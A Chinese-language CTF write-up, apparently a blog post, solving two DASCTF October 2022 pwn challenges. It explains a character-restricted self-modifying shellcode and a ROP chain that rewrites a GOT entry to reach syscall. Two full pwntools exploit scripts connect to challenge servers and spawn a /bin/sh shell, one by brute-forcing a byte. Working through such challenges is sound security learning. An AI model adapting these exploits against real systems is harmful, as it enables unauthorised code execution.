DASCTF_2022_10

DASCTF_2022_10

坐牢捏坐牢捏

菜鸡只能看官方wp做题


1!5!

一道shellcode题

限制非常严格,只允许使用字符1 5 a 和除T之外的大写字母来编写shellcode。

0x5? 开头的是一系列的push和pop,可以直接使用
图片.png

而0x31和0x35对应的是异或操作,第一个是将内存地址和某一寄存器值进行异或,结果保存在内存中。第二个是讲某一寄存器与一个立即数进行异或。
图片.png

对于0x31,在操作码后的两个字节,前者对应操作的寄存器和用于寻址的寄存器,后一个对应寻址偏移。这一个多试试就好了,我也没找到具体的规律和对照表——英语不好没有耐心去看intel手册。

0x4?不可以直接作为操作码使用,这些东西在64位汇编程序中充当一个前缀的作用(还未学习),但是可以用它来作为xor指令的操作数。

应对这总限制极为严苛的shellcode题,可以尝试在shellcode执行时通过异或等操作对自身未执行的片段进行修改,以在shellcode中创造出一些不允许我们写入的字符。

我们可以通过先构造一次能执行read的shellcode,将能拿shell的shellcode通过这次read写入,会更加方便。(在这里猛舔梁神,嘶哈嘶哈......)

exp:

from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

#r=process('/home/wjc/Desktop/pwn_1')
r=remote('node4.buuoj.cn',28642)

shellcode =asm('''
push    rdx;
pop     rcx;
xor     eax, 0x41414141;
xor     eax, 0x49494949;
xor     dword ptr[rcx+0x44], eax;
xor     dword ptr[rcx+0x48], eax;
xor     eax, 0x41414141;
xor     eax, 0x49494949;
xor     eax, 0x50575057;
xor     dword ptr[rcx+0x4C], eax;
xor     eax, 0x50575057;
''')

shellcode+=0xb*asm('push rdx;pop rdx');
shellcode+=5*asm('push rdx');

shellcode+=asm('''
.byte 0x56
.byte 0x56
.byte 0x56
.byte 0x56
.byte 0x57
.byte 0x57
.byte 0x57
.byte 0x57
.byte 0x58
.byte 0x55
.byte 0x58
.byte 0x55
''')

shellcode+=0xD8*asm('push rdx;pop rdx');

#gdb.attach(r);
r.send(shellcode)


sleep(1)
r.send(0x52*'A'+asm(shellcraft.sh()))

#pop rdi    0x5F        
#pop rsi    0x5E        
#push    rcx    0x51
#pop     rcx    0x59
#push    rax    0x50
#pop     rcx    0x58
#xor     [rcx+41h], eax    0x31 0x41 0x41    
#xor     [rcx+41h], eax    0x31 0x41 0x41 
#    
#syscall    0xF 0X5

r.interactive()

R()P

确实是ROP链的题

但是这题是真的阴间啊......

前面的检查绕过,应该不用再说了吧

这题没开PIE和canary,got表可写,开了NX,由于某些神奇的缘故(似乎是编译方式),这题的局部变量寻址方式及其抽象:采用rsp+偏移的方式来定位,而不是传统的rbp+偏移,此外,这题几乎弃用了rbp

图片.png

我们还可以在上图中发现,这read函数调用前设置rsi时是通过rax进行传值,但是在main返回时我们可以用栈上可控数据来控制rax,进而实现任一地址写。

我们可以修改read的got表中存放的低位字节,将其变为read函数的syscall的地址——必然在其附近。但是由于题目没有给我们libc,所以实战中需要爆破(从0x00到0xff)

这里我们可以发现,rax,rsi和edx都可以由我们控制,但是edi却需要寻找别的gadget,我们在上面找到了这个指令,可以将rdi设置为bss段开头,这样我们将/bin/sh写进去就行了。

图片.png

注意使用这个gadget之前一定要提前给rax设置好返回地址。

我们来整理一下;

0x401099:设置bss_start 给 rdi,跳转到rax
0x40116D:根据栈上数值设置eax,降低rsp并返回
0x40115A:用rax控制rsi后,根据栈上的数据设置edx,调用read,再根据同一位置即rsp+0xC的数据设置eax后降栈返回。注意这一步会将edi置零。

我们构造rop链的时候,最好按照每次0x20个字节去写,这样方便整理思路,便于布置每一次函数栈帧的数值。

思路很清晰了:

第一次先绕过检查,覆盖rsp+0xC为bss_start,填写返回地址为0x40115A

接下来,要布置这一轮的栈上内容,这一次的read应该读进来8个字节,所以rsp+0xc要写上8,然后返回时要回到0x40116D去修改eax。

之后还要给修改eax的过程去布置栈,这一次把eax修改为read_got。然后再回到0x40115A,布置栈让edx为1。之后执行read时会将read_got中的最低位字节覆盖。

到现在为止我们已经实现篡改got表为syscall——假设爆破成功。我们接下来需要修改寄存器。rsi可以通过返回到0x401141处的lea rsi,[rsp+0x18+buf],配合栈上数据,使其指向0,并触发syscall——这显然是最后一步的工作,那前面我们就需要将edx置零并让rdi指向bss_start,即我们之前写入的/bin/sh。

rdi的处理方式已经说了,rdx可以通过返回0x40115a,这时由于rax在call read前被置零,程序仍会执行read——准确的说是sys_read,但是由于rdx被置为了0,并不会产生大的影响。

之后便可去处理rdi了,rax填上0x40116D,布置好栈让rax为0x3b就行注意之所以在rdx之后处理rdi是因为在call read之前程序会把rdi置零。

处理完rax之后直接改rsi然后call read就能拿到shell,当然这是建立在爆破成功的基础上。爆破脚本我是通过发送一个echo flag,看看程序有没有拿到shell,如果拿到shell应该能返回flag这四个字符,这时我们就可以让程序返还交互权,否则就换一个数去尝试。

什么?你问我涉及到更高位的变动该怎么办?

我也想知道......不给libc,真是万恶的出题人。

from pickle import FALSE, TRUE
from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
#context.log_level='debug'

#r=process('/home/wjc/Desktop/pwn')

def pwn(num):

    # read 0x114980
    # 0x80 -> 0x90
    #gdb.attach(r,'b*0x401171')

    

    r.send(p32(0x100))
    sleep(0.1)

    bss_start=0x404018
    mov_eax_ret=0x40116D
    read_got=0x404000
    rax_rsi_read=0x40115A
    mov_rdi_bss_jmp_rax=0x4010DB
    set_rsi=0x401141
    rax_ret=0x40116D
    set_rdx=0x40115D

    pay =4*p32(bss_start)+p64(rax_rsi_read)
    pay+=p64(0)+p32(0)+p32(8)+p64(0)+p64(mov_eax_ret)                   #binsh
    pay+=p64(0)+p32(0)+p32(read_got)+p64(0)+p64(rax_rsi_read)           #set rdx
    pay+=p64(0)+p32(0)+p32(1)+p64(0)+p64(set_rdx)                       #syscall
    pay+=p64(0)+p32(0)+p32(0)+p64(0)+p64(mov_eax_ret)                   #set rdx
    pay+=p64(0)+p32(0)+p32(mov_eax_ret)+p64(0)+p64(mov_rdi_bss_jmp_rax) #rax_ret
    pay+=p64(0)+p32(0)+p32(0x3b)+p64(0)+p64(set_rsi)                    #rax
    pay+=p64(0)+p32(0)+p32(0)+p64(0)+p64(0x401126)                      #rsi syscall

    r.send(pay.ljust(0x100,'\x00'))

    sleep(0.1)

    r.send('/bin/sh\x00')

    sleep(0.1)

    r.send(chr(num))

    sleep(0.1)

    r.sendline("echo flag")
    str=r.recvuntil('flag',False,0.5)
    print("str:",str)
    if 'flag' in str:
        return 1
    return 0
  
if __name__ == '__main__':
    for i in range(0x00,0x100):    
        #r=process('/home/wjc/Desktop/pwn')
        r=remote('node4.buuoj.cn',26560)
        try:
            print("i:",hex(i))
            if pwn(i):
                print("WIN!!!")
                break;
            else :
                print("recv GG")
                r.close()
        except:
            print("exception GG")
            r.close()
    r.interactive()
posted @ 2022-10-31 20:05  Jmp·Cliff  阅读(23)  评论(0)    收藏  举报